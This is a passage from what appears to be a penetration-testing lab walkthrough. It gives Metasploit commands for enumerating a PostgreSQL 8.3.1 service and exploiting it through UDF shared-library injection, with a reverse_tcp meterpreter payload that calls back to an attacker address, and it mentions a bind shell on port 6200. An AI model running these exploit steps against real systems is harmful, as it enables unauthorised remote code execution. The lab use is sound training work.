netstat -ntpla shows bind shell process on port 6200
bind shell from msf console
Exploit postgresSQL
From the vulnerability report we can see that a postgresSQL Service is running on the target system.
PostgresSQL is vulnerable to exploit
Let's enumerate the PostgresSQL Version of our target:
use auxiliary/scanner/postgres/postgres_version
set rhosts 172.17.0.2
exploit
PostgresSQL Version 8.3.1
search postgres
There is a exploit available
use 13
info
Description: On some default Linux installations of PostgreSQL, the postgres service account may write to the /tmp directory, and may source UDF Shared Libraries from there as well, allowing execution of arbitrary code. This module compiles a Linux shared object file, uploads it to the target host via the UPDATE pg_largeobject method of binary injection, and creates a UDF (user defined function) from that shared object. Because the payload is run as the shared object's constructor, it does not need to conform to specific Postgres API versions.
set lhost 172.17.0.1
set rhost 172.17.0.2
(We leave the default payload --> linux/x86/meterpreter/reverse_tcp)